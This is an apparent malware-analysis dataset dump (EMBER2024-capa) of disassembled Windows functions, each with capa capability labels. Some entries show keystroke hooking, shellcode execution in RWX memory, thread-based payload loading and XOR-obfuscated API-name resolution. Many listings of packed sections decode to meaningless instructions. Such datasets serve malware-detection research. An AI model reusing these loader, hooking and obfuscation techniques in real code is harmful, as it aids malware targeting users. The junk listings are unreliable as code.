joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008ff0c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14007c3cc
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14007c3cc
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14009005c
cmp rax, 0xffffffffffffffff
je 0x14009005c
xor edi, edi
test rbp, rbp
jle 0x140090007
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14007de54
mov rbx, rax
test rax, rax
jne 0x14008ff94
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14008fffd
mov edx, 0x8000
mov ecx, r14d
call fcn.14007540c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14007fd24
cmp eax, 0xffffffff
je 0x14008ffdd
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14008ffa4
mov edx, r15d
mov ecx, r14d
call fcn.14007540c
jmp 0x14008fffd
cmp byte [rsi + 0x38], dil
je 0x14008fff4
cmp dword [rsi + 0x34], 5
jne 0x14008fff4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x14008fffd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14007d130
jmp 0x140090070
jns 0x140090070
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14007c3cc
cmp rax, 0xffffffffffffffff
jne 0x140090028
cmp byte [rsi + 0x30], dil
je 0x140090070
mov edi, dword [rsi + 0x2c]
jmp 0x140090070
mov ecx, r14d
call fcn.140082da0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140090070
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x140090070
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140090069
mov eax, dword [rsi + 0x2c]
jmp 0x14009006e
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14007c3cc
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140120471
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Log keystrokes via application hook

Disassembly:
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140011a30
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140011640
xor ecx, ecx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov r8d, 0x3000
mov r15, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x1400fea30]
lea rbp, [r15 + 0x60]
mov rsi, rax
mov r8, r12
mov edx, 0x50
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400fea40]
lea rcx, [rsi + 0x78]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400fea50]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400fea60]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400fea70]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400fea80]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [reloc.WS2_32.dll_getsockname]
mov qword [rax + rsi], rbp
mov rax, qword [0x1400920c8]
mov qword [rsi + 0x68], rax
call fcn.14006bc8c
call fcn.140011a30
mov r9d, reloc.WLDAP32.dll_Ordinal_200
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140011aa0
mov r9d, r14d
mov r8, rbx
mov rdx, r15
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rsi + 0x60], 2
mov r12, rax
je 0x14000b0a0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r14d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140011a30
mov r9d, 0x68
lea r8, [rsi + 0x60]
mov rdx, rbp
mov rcx, rax
call fcn.140011980
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi + 0x60], 2
jne 0x14000b064
mov rbx, qword [rsi + 0x70]
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140011a30
mov rdx, r15
mov rcx, rax
call fcn.1400116f0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140015810
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov rbp, qword [rsp + 0x30]
test qword [rsp + 0x48], r9
not r9
mov byte [rsp + 0x48], r9b
mov r9, qword [rsp + 0x18]
jo 0x14000af85
mov byte [rsp + 0x48], Ordinal_79
or byte [rsp + 0x48], 0xeb
add qword [rsp], 0xffffffffbfd715a0
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x58]
ret
Function at 0x14016c782
Capabilities:
Encode data using xor

Disassembly:
test rdi, rdi
mov rdi, qword [rsp + 0x10]
xchg qword [rsp + 0x18], rdi
mov qword [rsp + 0x10], 0x72dd6d4b
push r15
call fcn.14019f337
mov ebp, 0xf52348aa
je 0x14016c7c2
adc eax, 0xede35740
adc al, 0xc0
inc dword [rdi]
jrcxz 0x14016c7f1
enter 0xffffffffffff9161, 0x1a
fcomi st(4)
fstp qword [rdi]
popfq
test eax, 0xd6401892
or esp, dword [rbp - 0x19]
invalid
cmovo eax, dword [rdx + 0x4008a0bf]
cmp byte [0x19956bf56], 0x56
out 0xf, eax
rcl ah, 0x80
jo 0x14016c7b2
pushfq
jg 0x14016c81a
test al, 0x43
push 0x5f
xor esp, dword [rdi]
movabs eax, dword [0xba7af011dde5a021]
lodsb al, byte [rsi]
cmp dword [rbx + rdi*4 - 0x51], eax
sti
std
mov cl, 0xfb
mov ebx, 0x8a7f6114
rcr dword [rax], 1
loope 0x14016c889
outsd dx, dword [rsi]
cmp eax, 0xc0697af4
movabs dword [0x41540d927a926229], eax
test dword [rbx + 0x6bd1ce94], ebx
invalid
sub ecx, dword [rdx + 0x36]
sbb bh, 0x6e
std
mov esp, 0x732a1d78
movabs al, byte [0x891e13d425f78732]
fistp word [rbp + 0x786d30f]
push rdx
test dword [rax + 0x17], ebx
movabs byte [0x266f467fc4d58684], al
jno 0x14016c911
rcr dword [rax + 0x2b400624], 1
sbb dh, byte [rsi + 8]
pop rbx
pushfq
and eax, 0x3ffd0a09
xchg dword [0x1be56cc3c], ebp
invalid
push reloc.WS2_32.dll_ntohl
sub byte [rcx + 0x6568f851], al
iretq

Function at 0x1401729ef
Capabilities:
Initialize winsock library
Read file on windows
Read pipe

Disassembly:
xchg qword [rsp + 0x48], rsi
jbe 0x14026ab94
sub edi, ebp
lea rbp, [rbp + rbp*8 + 0x48cb31dd]
or qword [rsp + 0x30], 0x7ca955a5
push rbp
push r14
sub dword [rsp + 8], 0x2a52c3f
mov rbp, qword [rsp + 0x38]
mov r14, rdi
call fcn.1402153b2

Function at 0x14026a099
Capabilities:
Get common file path

Disassembly:
lea r9, [r13 + r14 + 0x27d67f18]
xchg qword [rsp + r14*8 - 0x3f210], rbp
and r13w, 0x2f95
setb r14b
xor r13b, r9b
sub r13w, 0x5a4b
setne r13b
push r10
add qword [rsp + 0x10], 0xffffffffbfd812a9
mov r12, qword [rsp + 0x58]
test r9d, 0x524570cd
jo 0x14002cbc4
call fcn.1402f6300
call fcn.1402bb8e5
Function at 0x1402b5b38
Capabilities:
Encode data using xor

Disassembly:
jo 0x140123e7f
mov qword [rsp + 0x48], rax
movabs r12, 0x2cdb5652151212d7
or r12w, 0x51a8
jbe 0x1402ed16e
lea rdx, [rdx + r8*4 + 0x530f2930]
push r12
call fcn.1402fa3b3
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001125d
Capabilities:
Create thread

Disassembly:
jmp 0x1400117a0
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c248]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400210a2]
call fcn.140011361
mov dword [rbp + 0x64], 0
mov eax, dword [0x14001c1cc]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov eax, dword [0x14001c1cc]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.14001139d
mov eax, dword [0x14001c1cc]
lea r9, [rbp + 0x64]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140011877
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c00]
call fcn.1400112f3
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.14001119f
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014060
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014080
xor al, al
jmp 0x140014101
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014093
xor al, al
jmp 0x140014101
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400140bd
xor al, al
jmp 0x140014101
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400140d1
xor al, al
jmp 0x140014101
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400140e3
xor al, al
jmp 0x140014101
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400140ff
xor al, al
jmp 0x140014101
mov al, 1
add rsp, 0x38
ret
Function at 0x140002880
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov esi, ecx
movabs rdi, 0x9ab9cbbbef3b2f3a
mov qword [rsp + 0x38], rdi
mov rax, qword [rsp + 0x38]
movabs rcx, 0x7065656c53
xor rcx, rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x28], 1
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x1400028e7
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x38]
xor qword [rsp + 0x48], rcx
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jb 0x1400028d0
movabs rbx, 0x32336c656e72656b
mov qword [rsp + 0x38], rdi
mov rax, qword [rsp + 0x38]
xor rax, rbx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 2
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x140002947
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x28]
xor qword [rsp + rax*8 + 0x38], rcx
inc rax
mov rcx, qword [rsp + 0x20]
cmp rax, rcx
jb 0x140002930
lea rcx, [rsp + 0x38]
call entry0
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140001090
imul ecx, esi, 0x3e8
call rax
mov qword [rsp + 0x38], rdi
mov rax, qword [rsp + 0x38]
movabs rcx, 0x636f725074697845
xor rcx, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x28]
xor rax, 0x737365
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 2
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x1400029d7
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x28]
xor qword [rsp + rax*8 + 0x38], rcx
inc rax
mov rcx, qword [rsp + 0x20]
cmp rax, rcx
jb 0x1400029c0
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x28]
xor rax, rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x48], 2
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x140002a37
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x20]
xor qword [rsp + rax*8 + 0x28], rcx
inc rax
mov rcx, qword [rsp + 0x48]
cmp rax, rcx
jb 0x140002a20
lea rcx, [rsp + 0x28]
call entry0
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.140001090
xor ecx, ecx
call rax
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400065c0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0x68
movabs rsi, 0x9ab9cbbbef3b2f3a
movabs rdi, 0x6f64747568536553
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
xor rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
movabs rcx, 0x6c69766972506e77
xor rcx, rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
xor rax, 0x656765
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x20], 3
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x140006657
xor eax, eax
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
xor qword [rsp + rax*8 + 0x50], rcx
inc rax
mov rcx, qword [rsp + 0x20]
cmp rax, rcx
jb 0x140006640
lea rcx, [rsp + 0x50]
mov dl, 1
call fcn.140001170
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
add rdi, 0xefb
xor rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x20]
movabs rcx, 0x6d65747379536e77
xor rcx, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], 3
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x1400066e7
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x20]
xor qword [rsp + rax*8 + 0x30], rcx
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jb 0x1400066d0
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x20]
movabs rcx, 0x6c6c64746e
xor rcx, rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], 1
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x140006737
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x20]
xor qword [rsp + 0x48], rcx
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jb 0x140006720
lea rcx, [rsp + 0x48]
call entry0
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140001090
mov ecx, 1
call rax
lea rcx, [rsp + 0x50]
xor edx, edx
call fcn.140001170
nop
add rsp, 0x68
pop rdi
pop rsi
ret

Function at 0x1405e0f01
Capabilities:
Packed with generic packer

Disassembly:
pop rcx
push r11
pushfq
movabs r11, 0x72abed377d9b6521
shr r11d, 0xd0
neg r11b
push 0x4b80a93d
add r11b, r11b
xchg qword [rsp + r11*2 - 0xfb7c], rcx
bswap r11
cmovo r11d, dword [rsp + 2]
shr r11w, 0x85
not r11b
jb 0x140929818
ja 0x140a14718
Function at 0x1405f227a
Capabilities:
Encode data using xor

Disassembly:
rcr byte [rbx - 0x1a3fbf11], 1
push rcx
xor rsi, 0xffffffffe497529c
movsx r13w, r8b
jae 0x140a1d3bd
add byte [rsi - 9], spl
pop rsp
and al, 8
neg word [rsp + 8]
jl 0x140a65c64
jge 0x1405f22b9
xor eax, 0x441f0f66
add byte [rax], al
wait
enter 0xffffffffffff8296, 0x5e
jns fcn.1405f2245
jl 0x1405f2275
add eax, 0x587dd170
and al, 0x4e
pop qword [rdx - 0x36abb9c7]
invalid
sub dword [rax + rsi*8 + 0x7c], eax
jrcxz 0x1405f224d
jl 0x1405f228a
jge 0x1405f229e
push rsp
adc eax, 0xa0568347
cmp byte [rbp + rdi*2 - 0x63], bl
push rsi
xchg esp, eax
and bh, byte [rbp + 0x23]
xor al, 0x34
in eax, dx
jge 0x1405f22d5
invalid
and r13b, byte [rsp + 0x3c]
shr r11b, 0x6f
and r12w, r13w
cmp r11b, r12b
call fcn.1407b4dc7
jns 0x14075f36c
invalid
jge 0x14075f3ea
invalid
invalid
mov rsi, qword [rsp + 0x20]
jl 0x14075f336
adc al, 0xc3
pop rbx
lodsb al, byte [rsi]
fistp word [rax + 0x4b]
pop rax
insb byte [rdi], dx
and esp, dword [rax - 0x80]
movsd dword [rdi], dword [rsi]
adc esp, esp
fidivr word [rdx + rbx*2 - 0x18d2b054]
pop rax
insb byte [rdi], dx
fiadd dword [rdx - 8]
lodsb al, byte [rsi]
sub rax, 0xffffffffda6c58e7
clc
push rcx
insb byte [rdi], dx
in al, dx
lea ebp, [rbx - 0x4817ed]
stosd dword [rdi], eax
xchg ebx, eax
wait
pop rsi
xchg edx, eax
pop rsi
clc
xor al, 0x43
movabs al, byte [0x236f93afba463d33]
mov esp, 0xd68e13ab
cmp eax, 0xd6c593a8
not byte [rbp - 0x14]
movsd dword [rdi], dword [rsi]
loopne 0x140a1d3da
stosb byte [rdi], al
push rbx
cdq
imul edx, dword [rcx - 0x63a46c58], 0xffffff8e
movabs eax, dword [0x65c9ec5bfb22c093]
int1
invalid

Function at 0x1407edb01
Capabilities:
Packed with generic packer

Disassembly:
cmp edx, dword [rsi + 0x44]
mul dword [rax + 0x65e65637]
ror eax, 0xa9
mov esi, 0x563bac9e
add al, 0x8f
xchg esi, eax
xor dl, byte [rsi + 0x11]
jmp 0xee143125
mov r11d, 0xab1ba094
sub r11b, r11b
jo fcn.1409bc293
movabs al, byte [0x83800fdb2a45ab1b]
out 0x1c, eax
add byte [rsi - 0x75], cl
lodsb al, byte [rsi]
insb byte [rdi], dx
sub byte [rax], al
add dword [rax + 0x202454f6], eax
mov r13, qword [rsp + r13*2 - 0x7ffeffd8]
not byte [rsp + 0x20]
call fcn.14074f227
push r13
mov edx, dword [rcx]
jge 0x1407edb04
push rsi
or esi, dword [rcx]
wait
loopne 0x1407edad7
mov ah, 0xd5
fdivr dword [rbx - 0x50988b55]
movsb byte [rdi], byte [rsi]
movabs byte [0x9aba0b58d1493b74], al
movabs dword [0x2254adce93998b58], eax
adc dword [rdi], ebx
push rbx
sub ecx, dword [rax]
push rbx
out 0x5c, al
mov ebx, edx
push rsi
loopne 0x1407edbae
or ebx, ebx
ret
invalid

Function at 0x1408341f9
Capabilities:
Encode data using xor

Disassembly:
push rdx
pushfq
movabs rdx, 0x87b0a919681e688e
mov qword [rsp + 0x10], 0xffffffffdf223bf1
mov rdx, qword [rsp + 8]
popfq
lea rsp, [rsp + 8]
call fcn.140b9aea2
sbb bh, cl
out dx, eax
push 0xffffffffffffffea
push rdx
pop rbp
in eax, dx
xchg esp, eax
xor byte [rsi], al
jo 0x140834221
push 0x2c
fmul qword [rax + 0x7c4a0d6a]
push 0x77
cmp ecx, dword [rbx]
rcl byte [rcx + riz*2 + 0x6b3991d6], 0xf3
std
cwde
jne 0x1408342af
invalid
xbegin 0x1114c7107
and dword [rdx - 0x41], 0xcd615d4b
ficom dword [0xeace04fa]
invalid
Function at 0x140849489
Capabilities:
Encode data using xor

Disassembly:
shr r13w, 0x26
xchg qword [rsp + 0x28], rax
mov r14, qword [rsp + 8]
movzx r13d, byte [rsp + 0x13]
setbe byte [rsp + r13 + 0x10]
setbe byte [rsp + rbp + 0x10]
sub r13b, 0xb
mov r13, qword [rsp + r13 - 0xd5]
jb 0x1408c3e78
mov ebx, 0x30ae2c94
mov byte [0x12b025441], bl
mov al, 0x6a
mov edi, 0x7d958847
mov edi, 0xc5acd9ca
push rsi
xor dh, byte [rcx + rbx*8]
shl dword [rcx + 0x784080c5], 1
lodsb al, byte [rsi]
jle 0x14084949f
scasb al, byte [rdi]
xor byte [rax + 0x7dbf7d1d], cl
invalid
adc ah, al
call rdx
xchg byte [rbp - 0x28bf5c3e], al
mov ebx, 0xebbf7933
xor byte [rax + 0x45], ch
mov edi, 0x9307f8c8
sub eax, 0x4084aa6a
fcom dword [rax + 0x1d40938f]
loope 0x1408494bc
sub edi, dword [rdi + 0x372ed231]
mov edi, 0x6edf4941
mov edi, 0x905f0410
out 0xc4, eax
fbld tbyte [rdi + rdi*4 + 0xe]
movabs eax, dword [0x86581bf211d03d44]
adc edx, esi
sbb ebx, dword [rax - 0x7a]
add word [rax], ax
clc
add r8, rax
call 0xd853ac3a
mov esi, 0x3fb50be4
cmp eax, 0x52f538ce
out 0xb4, al
adc eax, 0x855f5bbe
sub dword [rsi + 0x414028d1], edi
jrcxz 0x140849521
outsd dx, dword [rsi]
cmp dword [rdx + 0x1e], 0xe
invalid
sbb al, byte [rdx + rbp*4]
outsb dx, byte [rsi]
invalid
sub qword [rsp + 0x10], 0xfffffffff80e68ba
cmp qword [rsp + 0x10], 0x2226691
jg 0x14092d7a8
or dword [rax - 0x2c6e7c7e], ecx
sub byte [rcx - 0x7e], ch
or eax, 0x7d871929
pop rsp
xor al, 0x76
nop
jge 0x1408c3e39
xchg dword [rcx], edx
xchg byte [rbx + 0x6eb17f33], al
invalid
call fcn.140a9c1c6

Function at 0x140851686
Capabilities:
Packed with generic packer

Disassembly:
add r13w, 0x7231
mov r8, qword [rsp + 0x38]
jb 0x1400010f1

Function at 0x14089d141
Capabilities:
Encode data using xor

Disassembly:
jb 0x1409ec2ce
and dword [rsp + 0x40], 0xb737f393
mov r12, qword [rsp + 0x28]
not dword [rsp + 0x70]
test byte [rsp + 0x40], 0xb1
call int.1408550aa
push rsi
add eax, 0xa921b9ce
or al, 0xdf
jmp 0x1409ec298
invalid
jns 0x140a75723
int1
in al, dx
insd dword [rdi], dx
jg 0x1409ec267
sub ch, byte [rax - 0x31da73ef]
movabs eax, dword [0x35560e8e5229f45a]
ror qword [r15 - 0x64f3321c], 0xc1
mov dl, 0xe2
cdq
push rdi
pop rdx
xor ah, byte [rax + 0x70525031]
sal esi, 0xfc
jp 0x1409ec311
retf 0xef3d
jg 0x1409ec35d
out dx, al
out 0xa7, al
wait
movsd dword [rdi], dword [rsi]
jbe 0x1409ec32e
invalid
or ah, byte [rdx + rsi*4 - 0x53]
fisubr dword [rbx + 0x7a851ea3]
push rax
pop rsi
invalid
sub byte [rax + 0x75], bh
push qword [rbp + 0x6f]
mov bh, 0xc1
mov edx, 0xe24e9ecf
fild word [rdx]
xchg edx, eax
shr dl, 0x6d
cmpsb byte [rsi], byte [rdi]
xor dword [rbx], edx
lodsd eax, dword [rsi]
movsd dword [rdi], dword es:[rsi]
movabs dword [0xd3f94e4f21c1a200], eax
je 0x1409ec32e
and dword [rbx - 0x32], ecx
pop rsi
test dword [rdx - 0x51a5719f], ebx
cli
sub ch, ah
or dh, ch
xor eax, 0x1adf8e5
invalid
call fcn.1409853e0
movabs dword ds:[0xa1a281e89080a36b], eax
stosd dword [rdi], eax
outsb dx, byte gs:[rsi]
pop rbp
cdq
call [rcx + riz*2 - 0x7646b4a3]
invalid
Function at 0x1408a213d
Capabilities:
Encode data using xor

Disassembly:
invalid
or r11d, 0xb722773c
neg r8w
not rcx
mov rdi, qword [rsp + 0x20]
mov rdi, qword [rdi]
jle 0x1405ea699
invalid
sete r9b
and r11w, 0xd7be
cmp rcx, r11
jb fcn.1409d664f
call fcn.14090d8e5
jae 0x1408a2194
and ch, byte [rsi + 0x73a8a847]
mov edi, 0x6405120d
mov edi, 0x7320d80f
mov edi, 0xcb19393a
leave
jp 0x1408a210d
xlatb
leave
sal dword [rax - 0x72], 1
mov dil, 0x34
mov bh, 0x34
xor al, 0xf0
jo 0x1408a2157
invalid
cmp al, 0x4a
fadd qword [rax + 0x7e]
jge 0x1408a2217
lodsd eax, dword [rsi]
scasd eax, dword [rdi]
add eax, dword [rsi + 0x78bcbf77]
fisttp qword [rbx - 0x41]
shr byte [rax + 0x7d409db2], 1
cmp bl, byte [rdi]
mov al, byte [rax + 0x57]
cmp byte [rdx], bh
popfq
xor eax, 0xbf250309
xchg dl, ah
wait
cmp dword [rdi + 0x606a993e], edi
mov edi, 0x9eeaf480
fcomp st(0)
jle 0x1408a2193
stc
out 0xf3, al
stosb byte [rdi], al
outsd dx, dword [rsi]
fisttp word [rbp - 0x170261b8]
and byte [rdx + 0xb22c0ba], bh
mov bh, 0xef
ret 0x9204
invalid

Function at 0x1408f32de
Capabilities:
Encode data using xor

Disassembly:
push rdi
pop rsp
and al, 0x20
and eax, 0x4ec02b4d
test dword [rsp + rax + 0x20], eax
call fcn.1409ec2ae
in al, dx
mov r12, qword [r10]
jle 0x1408f32b5
cmpsd dword [rsi], dword [rdi]
sar word [rsi - 0x379875e4], 1
xor r15, rcx
test eax, 0x6e27a1c9
adc ah, byte [rax]
xor eax, 0xce38a8aa
sbb byte [rdi], dh
jns 0x1408f32f9
fbld tbyte [0x166adf3fd]
add dword [rsi], edi
leave
or cl, bl
lodsb al, byte [rsi]
jge 0x1408f32aa
fdivp st(4)
iretd

Function at 0x140918552
Capabilities:
Packed with generic packer

Disassembly:
mov qword [rsp + 0x10], 0xffffffffd7672fdb
push qword [rsp + 8]
popfq
lea rsp, [rsp + 0x10]
call fcn.140bfe430
jg 0x14078571f

Function at 0x14098f2e0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movabs rbp, 0xc97d33eab08fd93

Function at 0x1409a0488
Capabilities:
Encode data using xor

Disassembly:
movabs r11, 0xde15c0a957b7752a
mov qword [rsp + 0x20], 0x7f33d0a8
mov r11, qword [rsp + 0x18]
rcl byte [0x185614d57], 0x24
and byte [rax + 0x4c7f33d0], ch
mov ebx, dword [rsp + 0x18]
call fcn.140781d41
pushfq
add qword [rsp + 8], 0xffffffffbf3d520e
mov qword [rsp + 8], 0xffffffffa8fcd8e2
push qword [rsp]
popfq
lea rsp, [rsp + 8]
call fcn.140b1683b
push rsi
xor eax, 0x355fba1a
jg 0x1409a0472
add byte [rdx + 0x740ebf1], dh
mov ebx, 0xd940d370
mov bl, 0xee
invalid